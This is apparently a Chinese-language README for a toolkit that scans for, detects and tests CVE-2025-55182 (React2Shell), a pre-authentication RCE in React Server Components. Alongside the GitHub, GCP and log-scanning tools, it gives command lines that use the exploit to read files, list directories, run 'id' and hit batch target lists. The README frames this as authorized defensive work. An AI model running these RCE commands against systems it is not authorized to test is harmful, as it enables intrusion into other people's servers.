flight risk /flaɪt rɪsk/ — React的Flight协议是React服务器组件的序列化层。CVE-2025-55182利用Flight中的反序列化漏洞实现预认证远程代码执行(RCE)。如果你的应用使用了RSC,它就是一个飞行风险。
针对CVE-2025-55182(React2Shell) 的安全工具包——一个CVSS 10.0的预认证远程代码执行漏洞,影响React服务器组件。支持扫描、检测、关联和测试。
| 工具 | 功能 |
|---|---|
| react2shell-scanner | 扫描GitHub组织与GCP项目中的易受攻击的React/Next.js依赖项。支持授权利用测试(安全探测、文件读取、目录列表、命令执行)。 |
| gcp-ioc-scanner | 跨多个项目和K8s服务查询GCP Cloud Logging中的入侵指标模式。支持可插拔的IOC定义。 |
| gcp-log-correlator | 基于同一Pod的时间接近性关联GCP日志事件——例如,找出哪个HTTP请求触发了RCE错误。 |
# 克隆仓库
git clone https://github.com/YOUR_USER/flight-risk.git
cd flight-risk
# 安装依赖
pip install -r react2shell-scanner/requirements.txt
pip install pyyaml # 用于gcp-ioc-scanner
# 赋予脚本执行权限
chmod +x react2shell-scanner/bin/*
chmod +x gcp-ioc-scanner/gcp-ioc-scanner
chmod +x gcp-log-correlator/gcp-log-correlator
# 身份认证
gh auth login # GitHub扫描
gcloud auth application-default login # GCP扫描 + 日志分析
所有命令从仓库根目录运行。
react2shell-scanner/bin/scan-github \
--org YOUR_GITHUB_ORG \
--output ./results/github
react2shell-scanner/bin/scan-gcp \
--project YOUR_GCP_PROJECT \
--output ./results/gcp
react2shell-scanner/bin/scan-all \
--org YOUR_GITHUB_ORG \
--project YOUR_GCP_PROJECT \
--output ./results
python3 react2shell-scanner/cli.py https://your-app.example.com
# 空跑——显示Payload但不发送
python3 react2shell-scanner/cli.py --dry-run --verbose https://your-app.example.com
# 通过RCE读取文件
python3 react2shell-scanner/cli.py --method read-file https://your-app.example.com /etc/hostname
# 通过RCE列出目录
python3 react2shell-scanner/cli.py --method list-dir https://your-app.example.com /app
# 通过RCE执行命令
python3 react2shell-scanner/cli.py --method exec-cmd https://your-app.example.com "id"
# 批量目标
python3 react2shell-scanner/cli.py --targets targets.txt --output results.json
gcp-ioc-scanner/gcp-ioc-scanner \
--targets gcp-ioc-scanner/examples/targets-example.yaml \
--iocs gcp-ioc-scanner/iocs/cve-2025-55182.yaml \
--start 2026-01-01 \
--end 2026-04-01 \
--output ./results/ioc-scan
gcp-log-correlator/gcp-log-correlator \
--project YOUR_GCP_PROJECT \
--namespace frontend \
--pod-pattern "web-app.*" \
--trigger-filter 'severity=ERROR' \
--preceding-filter 'httpRequest.requestMethod:*' \
--window 30s \
--start 2026-04-01T00:00:00Z \
--end 2026-04-02T00:00:00Z \
--format json,markdown \
--output ./results/correlation
cd react2shell-scanner
docker compose -f docker/docker-compose.yml build
docker compose -f docker/docker-compose.yml run scanner-shell
flight-risk/
├── README.md
├── LICENSE
├── react2shell-scanner/
│ ├── bin/ # scan-github, scan-gcp, scan-all
│ ├── cli.py # 漏洞利用测试CLI
│ ├── exploit.py # 漏洞利用逻辑
│ ├── utils.py # 共享工具函数
│ ├── lib/ # Shell + Python辅助脚本
│ ├── vuln-defs/ # 可插拔的漏洞定义
│ ├── docker/ # 容器化扫描
│ ├── examples/ # 示例脚本
│ ├── test-app/ # 易受攻击的Next.js测试应用
│ └── requirements.txt
├── gcp-ioc-scanner/
│ ├── gcp-ioc-scanner # IOC日志扫描器
│ ├── iocs/ # IOC模式定义
│ └── examples/ # 目标配置示例
└── gcp-log-correlator/
├── gcp-log-correlator # 事件关联器
└── examples/ # 关联示例
gh)gcloud)jq仅限授权使用。 本工具包包含漏洞利用代码。仅可针对您拥有或获得明确书面授权的系统进行测试。未经授权使用可能违反《计算机欺诈与滥用法》(18 U.S.C. 1030)及同等法律。
MIT — 参见LICENSE。
| CVSS | 10.0 严重级别 |
| 攻击向量 | 网络 / 预认证 / 无需交互 |
| React | 19.0.0 - 19.2.0(修复于19.3.0) |
| Next.js | 14.3.0 - 15.3.5, 16.0.0 - 16.0.7(修复于15.3.6, 16.0.8) |
| 根本原因 | React Flight协议中的不安全反序列化 |
| 影响 | 以应用进程用户身份实现完全远程代码执行(RCE) |